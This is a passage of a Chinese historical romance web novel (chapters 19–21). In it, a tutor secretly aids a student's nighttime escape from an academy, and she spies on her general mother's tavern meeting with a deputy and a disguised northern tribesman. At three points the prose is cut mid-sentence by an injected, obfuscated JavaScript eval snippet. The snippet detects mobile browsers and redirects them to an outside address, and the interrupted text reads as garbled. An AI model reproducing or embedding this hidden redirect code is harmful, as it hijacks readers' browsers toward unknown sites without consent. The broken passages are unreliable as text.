能有人陪着喝茶下棋,沈太傅也乐得开心,他看向一旁的顾明池问道:“明池,你是随我们两个老人家一道去喝茶,还是......” 若是平日里,顾明池自是乐意去喝茶闲坐。 只是今天...... 他摇了摇头婉拒了沈太傅的邀请:“明池便不去打扰二位了。” “也好,光坐着也是无聊,你也许久没回过盛京院,可以去转一转。” 沈太傅与杨司业一同离开,顾明池原地立了片刻,也随着那群学生往花园走去。 回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188701|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头瞥见顾明池往花园方向而去,杨司业不禁笑道:“顾大人初为人师,这心思却甚是细腻,瞧,一转身还是放心不下去了花园。” 沈太傅撩了胡须笑道:“他自是放心不下,那花园里门道可多了。” “嗯?什么门道?” 杨司业听得一头雾水,沈太傅失笑摆手:“都是过去了,有明池在,这些学生也翻不出什么新天地,咱两只管安心下棋便是。” “对对对,下棋去!” 盛京院的花园是请了南方的巧匠依着随园图纸仿造而建,水榭亭台,花草树木皆是精心布局,雅致而落。 同知府不过是小门小院,自是没有什么空间再造一个精致的花园,所以方绾一也是第一次见到这般别致的园景,她坐在廊边以柳枝条戏弄池中红鲤,先前那点愁绪也一扫而空。 见池边围满了嬉笑闲聊的少女,太子便带着众少年,随沈良朝一同坐去了池塘另一边的亭台中,与那边的姑娘们隔开了距离。 顾明池晃悠而来时,便看到的是两边分立的情景。 他看了看单独在廊桥附近踮脚昂头的阮歆梨,随后往右侧少年们所聚集的亭台而去。 沈良朝跨坐在岩石上远望,太子顺着他的视线望到墙边巨树道:“听闻此树已有百年,其盖华也,赏趣无穷。” “嗯,是挺好看。” 沈良朝嘴上夸着,眼睛却一直盯着树下那个娇俏小人。 听到太子夸赞那棵百年大树,其他人也跟着赏起来。看着看着有人看出些不和谐之处:“这树的枝杈倒是有些奇怪,依墙那半边未免有些太过稀疏空旷,少了美感。” 众人远眺细看,太子倒是先看出了端倪:“看那树的截面,似乎曾经遭遇了什么外力受了损,大抵是因此断了枝桠,这才如此稀疏。” 对于太子的解释,少年们也比较认同,只是有些不解:“据说这树,先前的王祭酒宝贝得紧,怎会让它受了这等伤害?” 太子对此也很好奇:“或许明日可以问问沈太傅或者杨司业。” “哎?顾先生!” 见顾明池走来,少年们一阵骚动。 容貌俊美,家世显赫,年纪轻轻已是状元及第,官拜刑部侍郎。 顾明池一直是年长者口中的佼佼者,少年人心中追崇的榜样。 今日顾明池一直挂着和煦微笑,看起来温柔又随和。 见他脾性好,少年们不禁胆子也大了许多:“顾先生,您知道那棵树为何缺了半面枝桠么?” 顾明池笑容微滞,轻咳一声模糊道:“大概是某年雷雨,不小心伤着了吧。” “原来如此,可惜了......” 这边少年们为天公不作美而惋惜,阮歆梨心中也是怄得要命! 她叉着腰立在树下苦恼,看了大半日,也只有这棵树挨着墙头,听起来墙外也没专门安排守卫,只偶尔有巡逻队路过。 多好的出逃点!可偏偏这棵树依着墙头这面缺了枝桠,不好攀爬。 她望着高耸的墙头,也不知道能不能寻到足够的砖头垒出合适的高度,借着高处的树枝翻过去。 “顾先生,明日我们何时开课?” 顾明池收回落在树下的视线,点了点环搭在胳臂上的手指:“你们想什么时候开课?” “那自然是越晚越好啊!” 面对温和的顾明池,贪玩的少年郎们胆子格外大。 顾明池也不与他们计较,笑着耸了下眉峰,点头应允道:“那就明日未时吧,再给你们最后一个放纵的早上。” “太好了!顾先生威武!” 少年们欢呼雀跃,对面的少女们也听到了明天早上可以休息的好消息。 树下的阮歆梨诧异回头,看到对面亭台中那道高挑的青竹身影,一双眼睛亮闪如星。 好耶!这样她就不用想明天早上找什么理由不去上课了! 只要赶在下午上课前回来,这样就神不知鬼不觉,不会有人发现她偷偷溜出去了! 找不到爬树工具的沮丧感一下少了大半! 隔着一池之远,顾明池也感受出小姑娘方才听到明早不用上课的欣喜。 桃花眼轻轻眯扬,顾明池慢慢敲着手指盘算,看来她明早就要出盛京院。 是准备今晚就走么?想借这棵树的力? 师者,传道授业解惑者也。 学生遇到困难,他作为老师,又怎能不帮忙呢? 顾明池盯着那半面秃树,慢慢勾起了唇角。 19. 第 19 章 是夜,阮歆梨特意与方绾一闲聊至三更。 临回屋前,她打着呵欠眯蒙了眼道:“今天玩得太开心,没想到已经这么晚了!明天肯定是早起不了!” 方绾一忍下了呵欠,但也熬得眼透红丝:“明日我肯定也起不早,幸好早上无课,可以多睡一会。” 这话说得正合心意,阮歆梨当即弯了眼:“阿梨也是!那明早我便不来找你了,等睡饱了,下午再寻你一起去明正堂。” “嗯,那我明日便等你一起。” 从方绾一屋中出来,跟了一天的珍儿也是困意重重。进屋前,阮歆梨以手掩唇,半阖着眼一副无精打采样:“好困呀,阿梨明天不早起,早饭也不用了。你只管自己休息,等我醒了再唤你!” 玩至子夜,想来也是早起不了。索性无事,睡便睡吧。 于是珍儿也没再提醒云嬷嬷交代的规矩,福身应了下来。 木门吱呀,听到珍儿的关门声,原本无光的珠眸一瞬明亮。阮歆梨趴在门上听了片刻,确定院外没了动静,小心翼翼地将自己屋内的门闩插好。 她蹑手蹑脚地走到后窗,探头观察了片刻,踩着圆凳与案几,顺着窗沿滑了出去。 夜间盛京院中还有巡逻的守卫,阮歆梨不敢提上灯笼,只能借着廊檐下微弱的烛光溜着边猫腰而走。 好在她所住的戎秀苑与花园相隔不远,一盏茶的功夫,她已经摸至那棵大树附近。 “找些碎石砖块,不知道能不能搭够高度......” 阮歆梨低着腰,一边碎碎念一边寻找着合适的石块顺手搬去。 好不容易找着了一块有些高度的落脚石,吭哧吭哧挪到了树根处,与树干一对比,阮歆梨一脸绝望。 “怎么差这么多!这得堆到什么时候啊!” 且不说一块石头就已经累得她坐在裸露的树根上直喘大气,要想顺利够到最近的枝杈,少说也得再找十来块差不多高度的石头。放眼望去,园子里能找出三块都难。 靠搬石头垒高度爬树出去,这个法子显然是行不通了。 望着高不可及的墙头,一时之间又想不出别的什么方法,阮歆梨垂头丧气地呆坐在树根上,一声长叹后,她摊开四肢仰躺于地。 百年大树的枝叶葱茏茂盛,夜空中那点儿碎星被遮得严密,一丝光亮也不曾泄出。 “真是乌漆嘛黑一片......咦?” 阮歆梨揉了揉眼,一片深沉色中看到了泛白的一角。 那一角横竖相交,自树杈延伸而下,隐匿于枝叶之中。 阮歆梨猛然坐起身,拍拍脸再次望去—— 真的不是眼花! 她麻溜地撑地而起,盯着那隐秘的一角绕着树干转了小半圈,只见一把竹梯斜倚着古树,直连那根靠近墙头的树杈。 阮歆梨不可置信地伸手戳了戳竹梯,手感坚实,她不禁捂嘴狂乐—— 今天真是太幸运了! 她环顾四周确定没有守卫经过,赶紧扶着梯子试着踩了两下,确定稳固后,抓着两边长杆快速爬了上去。 有了竹梯的帮助,爬树变得格外简单。 嫌弃裙摆碍事,阮歆梨索性掀了下摆直接塞在腰间,跨坐在粗壮的枝杈上,双臂相撑,一点一点往墙头方向挪去。 树叶有节奏的沙沙作响,似是有猫儿在枝叶中穿梭移动。 火红的衣裙在树叶间时隐时现,不一会儿枝叶外缘便探出了一颗小巧的脑袋。 “好高啊......” 只探头看了一眼,刚刚冒头的“猫儿”吓得又缩了回去。 阮歆梨抱紧枝杈又慢慢看了一眼,犹豫片刻还是抻直了腿,一步迈跨上了墙头。 虽然姿势丑了点,但是好歹爬了上去。 四肢都扣紧在墙沿上的阮歆梨,慢慢舒出一口气。 她蹲在墙头尝试起身,刚动了一下,后裙摆便被一股大力扯住—— 那是一只干瘪细糙的手。 沙沙声轻缓绵长,冷汗一瞬爆出,阮歆梨吓得捂住双眼不敢挪动。 救命啊!是树妖! 阮歆梨欲哭无泪,就说哪有那么好运,想翻墙就有竹梯搭在那,果然是陷阱! 小姑娘捂着眼小声呜咽,内院墙角的暗处,慢慢显出一道青竹身影。 顾明池望着墙头上被树枝勾住衣摆的阮歆梨,面上表情也是一言难尽。 猜到她定是半夜出逃,顾明池特意搭好梯子在这里守株待兔等了半宿,就等着她翻出去,看看这个不安分的小姑娘究竟想整些什么名堂。 没想到她不仅在树枝上龟速挪了快半炷香的时间,这会被树枝勾住,竟然还吓得快要哭出声...... 顾明池有些头疼。 轻轻搓揉眉心后,他从墙角处找出一块薄削的石片,瞄准勾住小笨猫的树枝,用力斜飞了出去! 树影抖颤,一声短促惊呼后,墙头上空无一物,古树也恢复了平静。 捂着嘴只敢呼出气音的阮歆梨慢慢睁开眼,天上繁星闪烁,但是只有圆圆一小片。 她缓缓动了动手脚,有点痛,但不是很严重。 会痛?竟然没摔死! 阮歆梨高兴地弹起身,下一瞬就被绊了个狗啃泥巴! “嘶——”阮歆梨委屈地往前爬了两下,揉着膝盖慢慢爬起身,终于看清了是什么东西绊倒了她。 “竹筐?”阮歆梨诧异地翻起歪倒在地的大竹筐,伸手扒出里面柔软的布料:“软褥?” 懵然看了许久,她才留意到一旁断裂的树枝:“原来不是树妖啊......” 想想刚才的乌龙,阮歆梨不禁有些脸红:“看来今天还是好运的!” 尖锐的鸡鸣声突然响起,看着天边泛起的鱼肚白,阮歆梨匆忙拍了拍衣摆:“竟然快天亮了!” 害怕被巡逻守卫发现,阮歆梨也不敢在盛京院附近久待。 借着天光看清方向,她便急匆匆逃开了。 墙头外脚步声逐渐轻远,坐在树上的顾明池望着远处那抹红色身影,起身轻巧地跃了出去—— “......” 被竹筐险些绊了个趔趄的顾明池,突然觉得自己真是闲得慌! 也不知道为什么要去关注一个想逃学的小姑娘,还怕她爬不出去,半夜给她搬梯子! 若说恶趣味想看热闹就罢了,结果又担心墙头太高摔伤人,专门垫了个软筐给她落脚! 结果那就是个直脑筋的小笨蛋,做坏事也不会藏尾巴! 顾明池盯着竹筐骂不出声,半晌后认命地拎起竹筐,将它好好藏了起来...... 一定是上辈子欠了她的! * “云善楼......” 阮歆梨念着那日偷听到的地点,慢慢地在盛京最有名的酒食街上溜达。 “云,云,云......都不是。” 早上的酒食街,来往的人并不多,只偶尔有小商贩拖着板车往各个酒楼的后门处运送果蔬。 又一个小商贩好奇地打量她,阮歆梨警惕地与他对视,小贩笑着解释道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188702|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姑娘别误会!我就是见你大清早一个人在这,想着是不是迷了路,需要人帮忙。” 阮歆梨想,其实也不算迷路,而是压根就不知道路。 但是她还是留了个心眼,转了转眼珠摇头道:“不是,我只是在等哥哥,他说要带我去云善楼吃饭。” “云善楼啊!”这小贩显然是个话痨,当即放缓了拉车的速度,主动谈论道:“那家的饭菜确实是盛京一绝!我每天都给它家送菜,不是最新鲜最好的,它家那是看都不看!” 小贩指了指自己身后的木车:“选它家,先不说厨师的技艺如何,菜品那是绝对顶尖!小姑娘你今天是有口福了!” “你现在是要给云善楼送菜?” 小贩点了点头:“对啊!这里离云善楼还有点距离,你若是走不动了,也可以坐上来,我顺路拉你过去!” 看起来是个热心肠,但是不确定心肠黑白,阮歆梨也不敢轻易信任。 她是很机警,很聪明的! 在心中骄傲赞叹了一番,阮歆梨笑着婉拒道:“谢谢你的好意!但是我还要等哥哥,不能随便走动。” 闻言,小贩认同道:“也是,不然家人找不到你也要着急,那你在这别乱动,我还得送菜,先走了!” 和小贩挥手道别,看着对方走远,装模作样站在原地的阮歆梨赶紧偷偷跟了上去! 一路悄跟着小贩,阮歆梨顺利地找到了云善楼。 骄傲的心在这一刻膨胀到了极点—— 我怎么这么聪明! 阮歆梨美滋滋地站在云善楼门口,接下来她只要找个机会,破坏林枝意和友人的聚会,便能避开签纸上所言的“凶”! 一大早便有个小姑娘站在酒楼门口傻笑,店小二直觉今日不妙。 但本着宾客至上的原则,他还是低身上前笑道:“这位小客官来得可真早,不知是否有约?” 灿烂的笑容缓缓僵硬。 对哦,她都不知道林枝意和薛副将什么时候来吃饭! 还有,她要怎么样破坏他们的聚会? 等林枝意一到云善楼,她直接从旁边跳出来大喊一声阿娘,林枝意肯定会火冒三丈把她抓回去! 这样的话,聚会是肯定聚不成了,但是她的屁股也会开花啊! 阮歆梨赶紧摇了摇头,使不得!绝对不能让她阿娘发现她偷偷溜出了盛京院! 必须得想一个既不会被发现,又能破了凶兆的方法。 思考了片刻,阮歆梨向小二摆手道:“暂时无约,我只是路过看看!” 说完也不等小二回声,一溜烟蹿向了对面的小巷中。 小二茫然地摸了摸后脑勺,低道一声奇怪便回了屋中。 躲在巷口的阮歆梨轻轻松了一口气,心中又重新做起规划—— 她可以先在这里等着,等阿娘她们进了云善楼,她再见机行事,看看能不能寻个理由,把阿娘骗走! 小孩子的欢呼声自巷子深处传来,扒在墙边的阮歆梨眨了眨眼,心里倏然有了一个计划! 拿着竹蜻蜓的小孩从身后跑来,阮歆梨伸手拉住他,掏出自己身上全部的蜜糖道:“我把糖全部给你,等会你替我做件事好不好?” 看到蜜糖的小孩眼睛一亮,当即被糖迷了心窍:“你想让我做什么?” 阮歆梨指了指对面的云善楼叉腰道:“等会我会指给你认一个人,等她进去了,你便去寻她,就说回春堂的阮大夫想她想得茶不思饭不想,但是自己又不好意思开口,所以特地让你带话给她,喊她回家!” 20. 第 20 章 依着顾明池的经验,一般逃学原因无非两点:一是贪玩,二是叛逆。 在阮歆梨准备溜出盛京院时,他便料想她定不是回将军府,而是有其他想做的事。 一路跟着阮歆梨来到云善楼,顾明池不禁心道果然如此,只当她是贪吃,顺便想看一看是不是也有什么旁家不正经的公子少爷撺掇。若真是如此,也好给阮怀轩他们提个醒。 然而阮歆梨目标明确地到了云善楼门口,只几句话的功夫又退了回去,还躲进了对面的巷子暗地观察,这就很反常。 情况超出预想,顾明池的好奇心又被吊了起来。 眼见阮歆梨拉了一个附近人家的孩童蹲守在巷口,顾明池也在一旁茶摊寻了个隐蔽的位置坐下,点了壶茶水慢品,耐心地等候起来。 一夜未眠的阮歆梨,只蹲坐了片刻便打起了盹。 一连盹了两次后,她实在是有些煎熬不住,用手撑了眼皮困盹道:“你帮我看一小会,如果看到一个高高瘦瘦不温柔,但是束着发很漂亮的女子,你就赶紧喊我。” 得了阮歆梨的好处,小男孩十分配合。他嘴里含着糖紧盯着云善楼门口道:“你放心,我一定看牢了!” 见他眼睛瞪得圆亮,阮歆梨也放下心来,不过几息功夫,她便垂了脑袋慢慢睡了过去。 顾明池坐在阴凉处,看着阮歆梨从小鸡啄米渐渐变成仰天酣睡的状态。 熟睡的小姑娘半张脸都贴在了漆红的柱子上,一张小嘴半开着,时不时还会露出点洁白牙尖。 顾明池吹了吹茶盏中的浮沫忍不住笑出了声,心里琢磨,再睡一会估计就该流哈喇子了...... 日头逐渐高升,酒食街开始热闹起来。 云善楼的小二哥抖着毛巾精神抖擞地出了门,站在门口开始了今日的吆喝。 “哎哟!薛将军!好些时日没见到您了!” 小二哥屈着身笑容谄媚:“可还是要老位置?南角靠窗那位置今日还在!小的引您过去!” 薛副将摆了摆手:“今日不坐楼下了,二楼听风居。” 小二怔愣了一下,面色有些为难:“这可真是不巧,听风居早几日就已经有客人预定了。您看要不换一间?听风居靠着最东角,视野一般,这会光线也不好,小的给您安排西南的沐春居......” “不用了。”薛副将打断了小二的话:“那听风居就是我一友人所订,你只管引我过去便是。” 小二反应极快,立即笑转了口:“原来如此,那听风居位置幽静,最适合朋友小聚闲聊,小的这就给您带路!” 薛副将点点头又交代道:“你留意点,若是林大将军来了,直接引她过去。” “没问题!您尽管放心!” 小二麻溜地领着薛副将上了楼,执着茶盏的顾明池慢慢放下了手。 近来朝中也有人提到林枝意与薛副将时常来往一事,但陛下对此未语,旁人也只敢背后小声议论。 二楼窗影微晃,小二哥将包间木窗合紧,很快又回到了门口。 只一会功夫,一名身着深灰短褐,戴着棕黑斗笠的高壮男子停在了云善楼门口。 “客官安好!您是前几日订了听风居的客人吧?”小二哥赶紧引着人往内走道:“薛将军已经在包间里等您了,先前也不知道您是薛将军的朋友......” “少废话。”男子压了下帽檐,斜眸厉色道:“只薛将军到了么?” 男子的面相委实凶恶,看出对方无心交谈,小二哥也谨慎了许多:“是,林大将军还未至。” 闻言,男子皱了皱眉头:“行了,你不用带路了,我自己上去。” 回头暗看四周片刻,男子这才收回目光,疾步走进了云善楼,只几个跨步便消失在楼梯之上。 指尖轻点桌面,顾明池盯着云善楼眸色幽深。 静坐片刻,他起身放下茶钱往云善楼走去。 “这不是顾大人么!”一看到顾明池,小二哥立刻笑脸相迎道:“上次见您还是三个月前您和高大人一起,今日就您一人么?” 顾明池迈步笑道:“邀请的朋友还未到,我自己先来。小二哥倒是好记忆,只那一次照面便记着了。” “这可真不是小的记忆好,而是您实在是让人印象深刻!”小二跟在顾明池身侧笑道:“盛京城内谁看到您不得赞一句‘霞姿月韵,芝兰玉树’。您这气度,一眼难忘!” 小二哥的嘴就如涂了蜜一样,又甜又滑。 顾明池笑了笑也未搭话,指向二楼问道:“楼上可还有包间?” “顾大人来问,自然是有的!”小二引着他便往二楼西南面走道:“您只管放心,铁定给您最好的包间......” 顾明池停于楼梯口,看向东面道:“我那友人喜静,许久未见也只想安静叙旧,我看这边就挺好,给我安排最里面那间吧。” 小二哥瞅了眼东面最里间,心里一阵嘀咕。 今日也不知是刮了什么邪风,平日里最遭嫌的听风居竟然成了香饽饽。 小二哥挠了挠耳根尴尬赔笑道:“今日真是不巧了,这最里间已有客人,您看......” “哦,无妨。”顾明池指了隔壁道:“那你就安排隔壁那间好了。” 客人好说话,小二自是开心:“好嘞!小的这就带您过去!” 顾明池前脚进入包间,隔壁就传来了唤声:“小二!再来壶茶水!” “您稍等!马上就给您沏来!”小二一边吆喝回话,一边为顾明池掸净了桌椅。 正准备退出去,顾明池拦他道:“出去莫要和人说我在这里。” 小二哥不解,顾明池面色无奈道:“云善楼盛名在外,京中多是同僚来此用膳。若是让他们知道我在此处,免不得又要互相寒暄几句......” “您的意思,小的明白了!”小二哥很是上道,立刻用手在嘴前比了个缝补动作:“您放心,小的一个字都不会透漏!” 顾明池从袖袋中取出一锭碎银,小二高兴地接过打赏,屈身弯腰地退了出去。 重新沏了壶热茶送至听风居,小二刚进门便挨了一顿呵斥:“吆喝了半天现在才送过来!” 穿着短褐的男子这会揭了斗笠,横眉厉目,高鼻鹰尖,特别是那双偏灰的瞳眸,倒是有几分北方异域长相。 对方脾气不好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188703|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小二哥再好奇,也只敢偷偷瞥上一眼。 结果只微微斜眸就立刻被对方察觉,又是一声警告:“眼睛是留着看该看的。” 男子的声音实在森冷,小二当即被吓得一哆嗦:“是是是!小的不敢!” “行了,你也少说两句。”薛副将不满地睨了男子一眼,然后看向隔壁房间的墙面道:“隔壁来了什么客人?” 记着顾明池的交代,小二赶紧扯谎道:“小的也不认得,大概是慕名外来的客人。” “不认得?”薛副将皱眉思索,一旁的男子又开始不耐道:“早和你说约至城外,你非得订这里!” 薛副将面色一青,火气将爆又先忍了下来。他对着小二挥了挥手:“你先下去吧!” 待小二走远,薛副将这才对着男子怒斥道:“阿木那,你不要太过分了!” 阿木那抱臂冷哼,薛副将压低嗓音道:“不约至此处,又如何让林枝意放松警惕?别忘了我们的约定,今日事成后,咱们各取所需!” “放松警惕?”阿木那探身贴近薛副将道:“你还是祈祷今日一切顺利吧,不要以为我不知道你打的什么算盘。非得约我也在此,无非是想万一事情失败,好将一切都推至我头上,然后你自己装无辜脱身。” 阿木那阴沉了脸,目光黏腻如毒蛇:“我告诉你,若我折损在这,你与你的家人也休想脱身。” 薛副将怒目对视,门外倏然传来动静,阿木那退回静坐,面色恢复如常。 “林大将军,薛将军他们已经在里面了,您请进!” 阿木那垂了头敛去一身煞气。薛副将缓了缓呼吸起身笑迎道:“可算来了!酒水早就已经准备好,可馋死我了!” 小二哥合了门,林枝意负手来至桌前,低头对着酒坛口嗅了嗅,随即皱眉看向桌前两人,一双凤眸精亮透人。 薛副将与阿木那同时一僵,阿木那在桌下轻轻探手至腰处,薛副将心虚一笑:“怎么了?这酒不合你意?” “当然合啊!”林枝意拍桌一笑,撩了衣摆坐在桌前猛嗅一口道:“老薛,这可是好酒啊!你这次可真是下血本了!” 薛副将神情一松,拿过酒坛便准备斟酒,林枝意却突然抬手按住了他的手背。 “这酒肯定不是随便喝的,你得先给我说个明白。”林枝意挑眉看了眼桌边安安静静的阿木那,随后瞥向薛副将问道:“不介绍介绍么?” 薛副将一拍脑门笑道:“你看我,都忘记介绍你们认识了!” “这是我在北境时认识的好友,王琨。” 薛副将又转向阿木那介绍道:“这是镇远大将军,林枝意。” 阿木那拱手行礼道:“林大将军之名,在下早有耳闻!” 林枝意撑着下颌,盯着阿木那看了许久方才眯眸浅笑:“王琨?这不是你的本名吧,你是那弋部落的人。” 被一语道破族籍,阿木那神色微变。 早知长相上定是糊弄不过去,薛副将轻叹道:“是,他是那弋人,本名阿木那。” 林枝意轻轻点头,伸手转了下面前的空酒杯:“你那日说,你有一个友人,有事想请我帮忙。说吧,什么事?” 21. 第 21 章 日上三竿,日光自幡边倾泻而下。阮歆梨摸了摸晒得半边发热的脸颊,咂着嘴慢慢醒了过来。 对面云善楼的小二在门口忙碌揽客,街上来往的路人也比早上多了几番。 还在发懵的阮歆梨瞬间惊醒,偏头一看,只见她寻得小帮手正仰着头呼呼大睡,全然忘记了她交代给他的任务! “喂!你快醒醒!”阮歆梨望向云善楼门口,焦急地摇晃着不靠谱的小男孩:“不是让你看着么?你怎么也睡着了!” 猛然一个激灵,小男孩醒了过来。意识到自己办坏了事,他尴尬地摸着脑袋说不出话。 阮歆梨心中恼火,可又不能全怪在他身上,毕竟是自己马虎大意先睡了过去。 抬头看了眼日头,这会林枝意肯定是已经进了云善楼了! 思考片刻,阮歆梨拉过小孩叮嘱道:“还按我之前跟你说的去做。你进去就说你要找林大将军,然后把那些话转达给她,听明白了没?” “嗯嗯!”已经误了一回事,小男孩认真了许多:“我记着呢!你放心,我现在就去!” 拍着胸脯做完保证,小孩一溜烟蹿至了云善楼门口。 和小二简单说了两句,小二哥便给他指路,放他上了楼。 不放心的阮歆梨也跟近了几步,躲在一旁的柱子旁,探头探脑地盯着楼内:“这次应该不会再出问题了吧......” “所以,你是想进军营?” 听风居内,林枝意审视着阿木那,凤眸犀利,一旁的薛副将有些坐立难安。 阿木那勉强稳了心神,点头回话道:“是,久闻东盛北境军之名,我又家中无人,如今打算在东盛定居,无甚其他长处,只一身蛮力,所以才想着请薛将军帮忙,找林大将军您引荐,好入北境军混个营生。” “进军营混营生?”林枝意不禁笑出了声:“这倒是个新奇想法。” 林枝意沉默掀眸,好半晌后才神情严肃道:“你知道在与北寒和谈前,有多少人是哭着进军营的么?没人觉得进军营是混营生,大家都知道,进去就是半脚入了死门。” 阿木那笑容微僵:“战场上生死自有定数,旁人害怕,但是我不怕!” “你是北寒国人?” 林枝意突然发问,阿木那险些没反应过来:“是,我是北寒国人,所以只能托薛将军帮忙,看看能不能进入北境军......” “北境军的主要任务是防守东盛北域边境,如今东盛与北寒关系友好,防守任务轻了许多,但战乱争斗依然存在。”林枝意盯上阿木那那双偏灰的瞳眸道:“而这些争斗多是与两国之外的游牧部落,其中就有你们那弋部落。” “不,北寒国内的那弋族人与那弋部落并非同支,两边早已因为观念问题断了往来......” 明白林枝意是在顾虑他的身份,阿木那急急解释着,然而准备好的说辞还未说完,林枝意便打断直言:“北境是边防重地,我不可能放身份不明的人进入北境军。你若真喜欢东盛,要在此定居,我可以给你介绍其他营生。” 林枝意拒绝得干脆,薛副将拍了拍阿木那的肩膀:“你看,我早就说了,军有军规,林将军不会轻易破例的。如今听到结果,你也该死心了吧?” 阿木那也没强求,反倒神情轻松,十分通情达理:“你们的顾虑我很理解!没事,能结识新朋友我也很开心!今天我做东,多吃多喝,这个面子可一定要给我了啊!” 阿木那掀开酒封开始斟酒,薛副将看向林枝意笑道:“事办不成,酒可不能再拒绝了啊!” “用什么酒杯!换碗!”薛副将把桌上的酒杯收走,对着门外呼喊道:“小二!拿三个大碗来!” 林枝意盯着酒坛未语,门口传来笃笃两声敲门声。 薛副将笑着起身开门:“小二这速度可以啊,一点也不耽误喝酒......” 拉开门的薛副将倏然没了声,林枝意与阿木那看向门口,只见一小孩越了半边身探头看向屋内。 目光触及桌前的林枝意,小孩眼睛一亮高兴道:“林将军!回春堂的阮先生有话让我带给您!” “云郎?”林枝意招了招手,让他来到了身前:“你说说,阮先生让你带了什么话给我。” 小孩站在林枝意身前,背着手晃着脑袋把阮歆梨交代的话一字不落地背了出来,还顺便添油加醋了一番:“阮先生说,他想你想得茶不思饭不想,但是自己又不好意思开口,所以特地让我带话给你,让你赶紧回家,不然他会一直......唔,一直......” 突然想不起之前听过的那词,小孩挠着耳根有些着急。 林枝意倒是颇有耐心,眉峰高挑笑问道:“他会一直怎样?” 小孩终于想到了大概的意思,猛一拍手兴奋道:“会牵出肠子挂在肚子上!” “......” 噗嗤一声笑,随后笑声越来越大,林枝意擦了擦眼角看向薛副将:“牵出肠子挂在肚子上,那是什么词来着?” 薛副将神情复杂地看向同样没多少文化的林枝意,干巴巴地回话道:“大概是牵肠挂肚吧。” “对对对!就是这么说的!” 有人能听明白意思,小孩也很开心。林枝意捏了捏他的脸颊问道:“阮先生当真这么说的?” “是!你若不信可以回去问他!” 撒谎也不眨眼,林枝意伸指给了他一脑崩:“那你帮他跑腿,他给了你什么好处?” 小孩歪了歪脑袋,从衣袋里掏出了几张糖纸:“糖已经吃完了,只剩下糖纸了。” 林枝意拿起糖纸左右翻看了两下,然后放到鼻尖嗅了嗅味,熟悉的桂花香甜得腻人。 猜出糖是从何而来,林枝意将糖纸还给小孩,垂着眸忍不住低声骂了句:“小兔崽子又皮痒了。” 见林枝意坐着未动,小孩不禁催促道:“你还不回家么?阮先生想死你了!” 林枝意揉了揉眉心,阿木那有些急切道:“林将军,回家不急于一时,饭菜都已备好,酒还没喝呢!” 阿木那给薛副将使了个眼色,薛副将也跟着劝道:“将军与阮先生伉俪情深,也不缺这一时相聚。好酒难得,喝完再回便是!” 林枝意没有答话,只是盯着阿木那轻轻敲了敲手指:“你方才说你是北寒人?” 不明白林枝意为何又突然再问,阿木那点头谨慎道:“是,我是北寒国内的那弋族人,林将军是还有什么疑虑么?” 四目相对,明明林枝意面上含笑,但阿木那还是觉得背后冷汗涔涔。 这种仿佛被人看透的感觉令他十分不痛快。 “北寒是东盛的盟友,北寒的子民那便是东盛子民的朋友!”林枝意拿过酒坛笑道:“今日这交友酒,我是喝定了。” 林枝意杵着酒坛看向身旁的小孩,按着他的肩膀将他转了个身:“回去告诉让你传话的人,我吃完便回,不必一直牵肠挂肚,让她放宽心,听我的话,不然......我就揍得她屁股开花!” 听到最后,薛副将的神情更加古怪,林枝意看了他一眼面不改色道:“这是情趣。” 神情麻木的薛副将:“......哈哈,理解,理解!” 林枝意拍了拍小孩的肩膀往前一推,小孩顺势跑了出去。 小二拿着酒碗进门,薛副将催促道:“抓紧时间上菜!” “您别急!马上就送上来!” 薛副将接过酒碗开始斟酒,楼下阮歆梨急得团团转。 “话带到了!”小孩从楼内蹿跳而出,阮歆梨在他身后望了个空,抓着他走到一边急问道:“人呢?没和你一起出来么?” “没啊,她说她不走。” 小孩将林枝意的话原封不动地转述了一遍,阮歆梨揪着自己两边发尾,一脸菜色地蹲了下来:“完了,阿娘肯定猜到是我了!” “你还有其他事么?没事我就回家吃饭了啊!” 阮歆梨已经无力回话,只挥了挥手与小孩道别。 蹲在墙角许久,她才重新打起精神揉了揉脸,昂首起身往云善楼走去。 既然已经被发现了,那就不能白挨揍!一定要破了签纸上的凶,才不枉她逃出这一趟! 雄赳赳气昂昂地迈进门槛,还没踏上楼梯,阮歆梨的后颈脖便突然一紧—— “这位小客人,不知您是约了何人在哪个包间呀?” 被小二哥拽住了衣领,阮歆梨只得停了脚步,眨着眼笑意甜甜:“......要不小二哥哥你猜一猜?” 一早开门就遇到了阮歆梨,小二哥便觉得她奇奇怪怪。可她穿着打扮又不似普通人家,小二不得不小心谨慎,拉着她的衣领俯身笑道:“小客人说笑了,您若不知包间名,只需告诉小的是与何人相约,小的送您过去。” 肯定不能直接说听风居,那就只能赌一把了...... 